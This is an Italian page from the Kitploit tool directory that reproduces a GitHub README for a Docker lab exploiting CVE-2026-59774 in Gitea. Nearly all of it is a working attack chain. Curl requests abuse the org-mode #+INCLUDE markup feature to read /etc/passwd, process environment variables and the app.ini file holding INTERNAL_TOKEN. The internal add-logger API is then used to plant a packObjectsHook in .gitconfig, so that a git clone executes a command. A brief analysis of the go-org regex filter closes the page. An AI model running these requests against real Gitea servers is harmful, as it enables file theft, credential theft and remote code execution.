Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-59774_docker — CVE-2026-59774 | Kitploit
Strumenti/GitHubGitHub/flowerwitch/cve-2026-59774_docker
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebLab e Pratica
GitHubflowerwitch/cve-2026-59774_docker

CVE-2026-59774_docker

CVE-2026-59774

Vedi Repository
112 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-59774_docker

1. Scaricare gitea

git clone https://github.com/FlowerWitch/CVE-2026-59774_docker

cd ./CVE-2026-59774_docker

docker compose up -d

2.Inizializzazione

Accedi a gitea

http://localhost:3000/install

3.Creazione del repository

new repository è pubblico per impostazione predefinita, non sono necessarie altre configurazioni

image

4.POC

curl -X POST "http://localhost:3000/{username}/{repo}/markup" \                       
  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"/etc/passwd\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'
image

5. Parte RCE

  1. Innanzitutto, leggendo il campo GITEA_CUSTOM in /proc/self/environ, si ottiene la posizione in cui sono memorizzati i dati di gitea
curl -sX POST "http://localhost:3000/admin/poc/markup"  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"/proc/self/environ\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'|grep 'GITEA_CUSTOM='
image
  1. Leggere {GITEA_CUSTOM}/conf/app.ini per ottenere i campi INTERNAL_TOKEN e APP_DATA_PATH
curl -sX POST "http://localhost:3000/{username}/{repo_name}/markup"  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"{GITEA_CUSTOM}/conf/app.ini\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'|grep -E 'INTERNAL_TOKEN|APP_DATA_PATH' 
image
  1. Qui ho trovato l'interfaccia add-logger; quando il campo Mode di questa interfaccia è File, viene eseguita una scrittura in append su un file locale (se la destinazione non esiste, viene creata la directory corrispondente). Inoltre, quando il suo campo logger è router, l'esecuzione genera una voce di log, con un output molto migliore rispetto a default (poiché non va a capo XD). Sfruttando la scrittura arbitraria offerta dalla prima, si aggiunge al .gitconfig di gitea il campo packObjectsHook per ottenere l'esecuzione di comandi tramite un clone anonimo.
curl -vX POST http://localhost:3000/api/internal/manager/add-logger \
  -H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "Logger": "router",
    "Writer": "pwnhook",
    "Mode": "file",
    "Config":{                                                             
      "filename": "{APP_DATA_PATH}/home/.gitconfig",
      "flags": "none",                                                          
      "prefix": "[uploadpack]\n        packObjectsHook = id > /tmp/pwned ;#", 
      "level": "Info",
      "rotate": false
    }
  }'
image

4.Chiudere l'handle del log per evitare che le richieste successive interferiscano con la configurazione successiva; è necessario utilizzare logger e writer di cui sopra

curl -vX POST /api/internal/manager/remove-logger/{Logger}/{Writer} \
  -H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
  1. git clone attiva l'esecuzione di comandi
image

Esempio

gg1

Nota

Nella funzione parseInclude di go-org 1.9.1 è presente una regola di filtro regex includeFileRegexp: solo se la corrispondenza ha successo è possibile accedere alle funzioni successive.

func (d *Document) parseInclude(k Keyword) (int, Node) {
	resolve := func() Node {
		d.Log.Printf("Bad include %#v", k)
		return k
	}
	if m := includeFileRegexp.FindStringSubmatch(k.Value); m != nil {  # <--这里施加了 includeFileRegexp 过滤
		path, kind, lang := m[1], m[2], m[3]
		if !filepath.IsAbs(path) {
			path = filepath.Join(filepath.Dir(d.Path), path)
		}

includeFileRegexp corrisponde alle seguenti condizioni

var includeFileRegexp = regexp.MustCompile(`(?i)^"([^"]+)" (src|example|export) (\w+)$`)

Pertanto, un payload come "#+INCLUDE: \"/etc/passwd\"\n" non può essere confrontato correttamente; la costruzione deve conformarsi all'espressione, ad esempio:

"#+INCLUDE: \"/etc/passwd\" src 123\n"
Scarica lo strumento